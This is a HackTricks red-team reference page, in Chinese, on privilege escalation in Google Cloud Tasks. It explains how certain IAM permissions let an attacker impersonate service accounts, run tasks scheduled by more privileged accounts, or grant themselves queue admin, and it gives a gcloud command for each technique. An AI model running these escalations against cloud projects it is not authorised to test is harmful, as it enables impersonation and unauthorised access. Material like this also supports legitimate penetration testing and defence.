GCP - Cloud Tasks Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

拥有这些权限的攻击者可以通过创建以指定 service accounts 身份执行的任务来冒充其他 service accounts。这允许向受 IAM 保护的 Cloud Run 或 Cloud Functions 服务发送经过身份验证的 HTTP 请求

创建 Cloud Task 来冒充 service account ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

拥有这些权限的攻击者可以在没有与任务关联的 service account 权限的情况下,运行现有的已调度任务。这允许执行先前由拥有更高权限的 service accounts 创建的任务。

在无需 actAs permission 的情况下运行现有的 Cloud Task ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

执行此命令的主体不需要在任务的服务账号上具有 iam.serviceAccounts.actAs 权限。然而,这只允许运行现有任务——并不授予创建或修改任务的能力。

cloudtasks.queues.setIamPolicy

拥有此权限的攻击者可以向自己或其他主体在特定队列上授予 Cloud Tasks 角色,可能提升为 roles/cloudtasks.admin,该角色包含创建和运行任务的能力。

在队列上授予 Cloud Tasks 管理员角色 ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

这使得攻击者能够将该队列的完整 Cloud Tasks 管理权限授予他们控制的任何服务账号。

References

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks